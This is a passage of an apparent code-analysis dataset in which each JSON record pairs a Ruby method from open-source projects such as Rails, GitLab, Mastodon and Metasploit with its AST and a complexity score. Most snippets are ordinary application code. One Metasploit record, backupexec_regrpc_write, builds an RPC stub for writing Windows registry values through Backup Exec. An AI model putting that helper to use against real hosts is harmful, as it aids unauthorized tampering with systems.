"user_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"allowed_groups\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"group_channel\",{\"type\":\"lvar\",\"children\":[\"group_id\"]}]},{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_id\"]}]}]}]}]}]}]}]}","id":"a790f8e7-966d-46d6-87ec-76b605c6599d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/modules/external/bridge.rb","start_line":255,"raw_source":"def self.open(module_path, framework: nil)\n    LOADERS.each do |klass|\n      return klass.new module_path, framework: framework if klass.applies? module_path\n    end\n\n    nil\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"open\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"module_path\"]},{\"type\":\"kwoptarg\",\"children\":[\"framework\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOADERS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"applies?\",{\"type\":\"lvar\",\"children\":[\"module_path\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"module_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"framework\"]}]}]}]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"ff8838e5-91ca-4673-b202-d54f1c3bc065"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/journey/router_test.rb","start_line":43,"raw_source":"def test_regexp_first_precedence\n        get \"/whois/:domain\", domain: /\\w+\\.[\\w.]+/, to: \"foo#bar\"\n        get \"/whois/:id(.:format)\", to: \"foo#baz\"\n\n        env = rails_env \"PATH_INFO\" => \"/whois/example.com\"\n\n        list = []\n        router.recognize(env) do |r, params|\n          list << r\n        end\n        assert_equal 2, list.length\n\n        r = list.first\n\n        assert_equal \"/whois/:domain(.:format)\", r.path.spec.to_s\n      end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_regexp_first_precedence\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/whois/:domain\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\w+\\\\.[\\\\w.]+\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"foo#bar\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/whois/:id(.:format)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"foo#baz\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"env\",{\"type\":\"send\",\"children\":[null,\"rails_env\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PATH_INFO\"]},{\"type\":\"str\",\"children\":[\"/whois/example.com\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"router\"]},\"recognize\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/whois/:domain(.:format)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"path\"]},\"spec\"]},\"to_s\"]}]}]}]}","id":"d7786e71-2002-42ec-bcef-a3a2c0655a17"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/upload.rb","start_line":463,"raw_source":"def self.sha1_from_long_url(url)\n    $2 if url =~ URL_REGEX || url =~ OptimizedImage::URL_REGEX\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sha1_from_long_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"URL_REGEX\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"=~\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptimizedImage\"]},\"URL_REGEX\"]}]}]},{\"type\":\"nth_ref\",\"children\":[2]},null]}]}","id":"b3b0dc4b-f236-4533-a560-65cf85b8aec1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/files/update_service.rb","start_line":31,"raw_source":"def validate!\n      super\n\n      if file_has_changed?(@file_path, @last_commit_sha)\n        raise FileChangedError, _('You are attempting to update a file that has changed since you started editing it.')\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_has_changed?\",{\"type\":\"ivar\",\"children\":[\"@file_path\"]},{\"type\":\"ivar\",\"children\":[\"@last_commit_sha\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"FileChangedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"You are attempting to update a file that has changed since you started editing it.\"]}]}]},null]}]}]}","id":"0d5b1aa4-ccdd-4c39-99b3-a2e6aaad8167"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_migrate_task.rb","start_line":57,"raw_source":"def do_request\n    host_id = get_option(:placement_host_name)\n    host = Host.find_by(:id => host_id)\n\n    respool_id = get_option(:placement_rp_name)\n    respool = ResourcePool.find_by(:id => respool_id)\n\n    folder_id = get_option(:placement_folder_name)\n    folder = EmsFolder.find_by(:id => folder_id)\n\n    datastore_id = get_option(:placement_ds_name)\n    datastore = Storage.find_by(:id => datastore_id)\n\n    disk_transform = get_option(:disk_format)\n\n    # Determine if we call migrate for relocate\n    vc_method = if datastore || disk_transform\n                  :relocate\n                elsif respool && host.nil?\n                  :relocate\n                elsif host\n                  :migrate\n                end\n\n    _log.warn(\"Calling VM #{vc_method} for #{vm.id}:#{vm.name}\")\n\n    begin\n      case vc_method\n      when :migrate  then vm.migrate(host, respool)\n      when :relocate then vm.relocate(host, respool, datastore, nil, disk_transform)\n      end\n\n      vm.move_into_folder(folder) if folder.present?\n    rescue => err\n      update_and_notify_parent(:state => 'finished', :status => 'Error', :message => \"Failed. Reason[#{err.message}]\")\n      return\n    end\n\n    if AUTOMATE_DRIVES\n      update_and_notify_parent(:state => 'migrated', :message => \"Finished #{request_class::TASK_DESCRIPTION}\", :status => 'Ok')\n    else\n      update_and_notify_parent(:state => 'finished', :message => \"#{request_class::TASK_DESCRIPTION} complete\", :status => 'Ok')\n    end\n  end","complexity_score":58.3,"ast_json":"{\"type\":\"def\",\"children\":[\"do_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host_id\",{\"type\":\"send\",\"children\":[null,\"get_option\",{\"type\":\"sym\",\"children\":[\"placement_host_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Host\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"host_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"respool_id\",{\"type\":\"send\",\"children\":[null,\"get_option\",{\"type\":\"sym\",\"children\":[\"placement_rp_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"respool\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResourcePool\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"respool_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"folder_id\",{\"type\":\"send\",\"children\":[null,\"get_option\",{\"type\":\"sym\",\"children\":[\"placement_folder_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"folder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsFolder\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"folder_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"datastore_id\",{\"type\":\"send\",\"children\":[null,\"get_option\",{\"type\":\"sym\",\"children\":[\"placement_ds_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"datastore\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storage\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"datastore_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"disk_transform\",{\"type\":\"send\",\"children\":[null,\"get_option\",{\"type\":\"sym\",\"children\":[\"disk_format\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vc_method\",{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datastore\"]},{\"type\":\"lvar\",\"children\":[\"disk_transform\"]}]},{\"type\":\"sym\",\"children\":[\"relocate\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"respool\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"nil?\"]}]},{\"type\":\"sym\",\"children\":[\"relocate\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"sym\",\"children\":[\"migrate\"]},null]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Calling VM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vc_method\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vm\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vm\"]},\"name\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vc_method\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"migrate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vm\"]},\"migrate\",{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"respool\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"relocate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vm\"]},\"relocate\",{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"respool\"]},{\"type\":\"lvar\",\"children\":[\"datastore\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"disk_transform\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"folder\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vm\"]},\"move_into_folder\",{\"type\":\"lvar\",\"children\":[\"folder\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_and_notify_parent\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"finished\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"Error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed. Reason[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AUTOMATE_DRIVES\"]},{\"type\":\"send\",\"children\":[null,\"update_and_notify_parent\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"migrated\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Finished \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_class\"]},\"TASK_DESCRIPTION\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"Ok\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_and_notify_parent\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"finished\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_class\"]},\"TASK_DESCRIPTION\"]}]},{\"type\":\"str\",\"children\":[\" complete\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"Ok\"]}]}]}]}]}]}]}","id":"9bf9c77e-aca1-4e29-99c3-bcdba97aa064"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/ml/mlflow/api_helpers.rb","start_line":171,"raw_source":"def list_run_artifacts(project, version)\n          run = ::Ml::Candidate.with_project_id_and_iid(project, version)\n\n          resource_not_found! unless run&.package\n\n          run.package.installable_package_files\n        end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"list_run_artifacts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"run\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ml\"]},\"Candidate\"]},\"with_project_id_and_iid\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"run\"]},\"package\"]},null,{\"type\":\"send\",\"children\":[null,\"resource_not_found!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"run\"]},\"package\"]},\"installable_package_files\"]}]}]}","id":"5e8959e6-6fca-49c0-a1e9-98e260c08a49"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/backupexec/registry.rb","start_line":251,"raw_source":"def backupexec_regrpc_write(opts = {})\n    subkey = opts[:subkey] || ''\n    subval = opts[:subval] || ''\n    hive = opts[:hive] || HKEY_LOCAL_MACHINE\n    type = opts[:type] || REG_SZ\n    data = opts[:data] || ''\n\n    if type == REG_SZ || type == REG_EXPAND_SZ\n      data = Rex::Text.to_unicode(data + \"\\x00\")\n    end\n\n    stub =\n      NDR.UnicodeConformantVaryingString(subkey) +\n      NDR.UnicodeConformantVaryingString(subval) +\n      NDR.long(type) +\n      NDR.long(data.length) +\n      NDR.long(data.length) +\n      data +\n      NDR.align(data) +\n      NDR.long(4) +\n      NDR.long(4) +\n      NDR.long(hive)\n    return stub\n  end","complexity_score":66.05,"ast_json":"{\"type\":\"def\",\"children\":[\"backupexec_regrpc_write\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subkey\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subkey\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subval\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subval\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hive\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hive\"]}]},{\"type\":\"const\",\"children\":[null,\"HKEY_LOCAL_MACHINE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},{\"type\":\"const\",\"children\":[null,\"REG_SZ\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"REG_SZ\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"REG_EXPAND_SZ\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unicode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"stub\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"UnicodeConformantVaryingString\",{\"type\":\"lvar\",\"children\":[\"subkey\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"UnicodeConformantVaryingString\",{\"type\":\"lvar\",\"children\":[\"subval\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"align\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"int\",\"children\":[4]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"int\",\"children\":[4]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NDR\"]},\"long\",{\"type\":\"lvar\",\"children\":[\"hive\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stub\"]}]}]}]}","id":"819ee2d9-9b35-4dea-954e-1b49c271b885"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/delivery_failure_tracker.rb","start_line":11,"raw_source":"def initialize(url_or_host, resolution: :days)\n    @host = url_or_host.start_with?('https://', 'http://') ? Addressable::URI.parse(url_or_host).normalized_host : url_or_host\n    @resolution = resolution\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url_or_host\"]},{\"type\":\"kwoptarg\",\"children\":[\"resolution\",{\"type\":\"sym\",\"children\":[\"days\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@host\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_or_host\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"str\",\"children\":[\"http://\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"url_or_host\"]}]},\"normalized_host\"]},{\"type\":\"lvar\",\"children\":[\"url_or_host\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@resolution\",{\"type\":\"lvar\",\"children\":[\"resolution\"]}]}]}]}","id":"245d75b9-ba0f-420d-bfcd-999e31db9b21"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects/project_members_helper.rb","start_line":72,"raw_source":"def project_group_links_list_data(project, include_relations, search)\n    members = []\n\n    if include_relations.include?(:direct)\n      project_group_links = project.project_group_links\n      project_group_links = project_group_links.search(search) if search\n      members += project_group_links_serialized(project, project_group_links)\n    end\n\n    if include_relations.include?(:inherited)\n      group_group_links = project.group_group_links.distinct_on_shared_with_group_id_with_group_access\n      group_group_links = group_group_links.search(search, include_parents: true) if search\n      members += group_group_links_serialized(project, group_group_links)\n    end\n\n    if project_group_links.present? && group_group_links.present?\n      members = members.sort_by { |m| -m.dig(:access_level, :integer_value).to_i }\n                       .uniq { |m| m.dig(:shared_with_group, :id) }\n    end\n\n    {\n      members: members,\n      pagination: members_pagination_data(members),\n      member_path: project_group_link_path(project, ':id')\n    }\n  end","complexity_score":44.5,"ast_json":"{\"type\":\"def\",\"children\":[\"project_group_links_list_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"include_relations\"]},{\"type\":\"arg\",\"children\":[\"search\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"members\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_relations\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"direct\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_group_links\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"project_group_links\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search\"]},{\"type\":\"lvasgn\",\"children\":[\"project_group_links\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_group_links\"]},\"search\",{\"type\":\"lvar\",\"children\":[\"search\"]}]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"members\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"project_group_links_serialized\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project_group_links\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_relations\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"inherited\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_group_links\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"group_group_links\"]},\"distinct_on_shared_with_group_id_with_group_access\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search\"]},{\"type\":\"lvasgn\",\"children\":[\"group_group_links\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_group_links\"]},\"search\",{\"type\":\"lvar\",\"children\":[\"search\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_parents\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"members\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"group_group_links_serialized\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"group_group_links\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_group_links\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_group_links\"]},\"present?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"members\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"s